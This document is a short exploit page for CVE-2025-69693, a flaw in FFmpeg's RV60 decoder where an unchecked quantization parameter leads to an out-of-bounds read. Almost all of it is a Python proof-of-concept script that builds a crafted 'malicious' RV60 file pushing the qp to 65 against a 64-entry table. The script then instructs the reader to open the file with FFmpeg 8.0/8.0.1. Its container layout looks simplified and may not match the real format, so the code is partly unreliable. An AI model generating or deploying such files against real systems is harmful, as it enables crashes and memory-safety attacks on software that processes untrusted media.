CVE-2025-69693: FFmpeg RV60解码器量化参数验证缺陷导致越界读取

import struct def create_malicious_rv60(): """Generate PoC for CVE-2025-69693 - FFmpeg RV60 qp validation bypass""" # RV60 frame header structure header = bytearray() # Frame type: Intra frame (1) or Inter frame (0) frame_type = 0x00 # Inter frame - bypasses previous partial fix # 6-bit base qp value (0-63 valid, set to max to trigger overflow) base_qp = 0x3F # 63 in 6 bits # QP offset field (adds +1 to +2 to base qp) qp_offset = 0x02 # This makes effective qp = 63 + 2 = 65 (> 64) # Construct malicious frame header header_byte = (base_qp & 0x3F) | ((qp_offset & 0x03) << 6) header.append(header_byte) header.append(frame_type) # Add padding to reach vulnerable code paths header.extend(b'\x00' * 100) # File format: RV60 video container with open('CVE-2025-69693-poc.rv60', 'wb') as f: # RV60 container header f.write(b'RV60') # Magic number f.write(struct.pack('<I', 1)) # Version f.write(struct.pack('<I', len(header))) # Frame size f.write(header) print(f"PoC file created: CVE-2025-69693-poc.rv60") print(f"QP value will be: {base_qp} + {qp_offset} = {base_qp + qp_offset}") print(f"Array size: 64, causing out-of-bounds access at index {base_qp + qp_offset}") if __name__ == '__main__': create_malicious_rv60() print("\nUsage: Process this file with FFmpeg 8.0/8.0.1 to trigger vulnerability")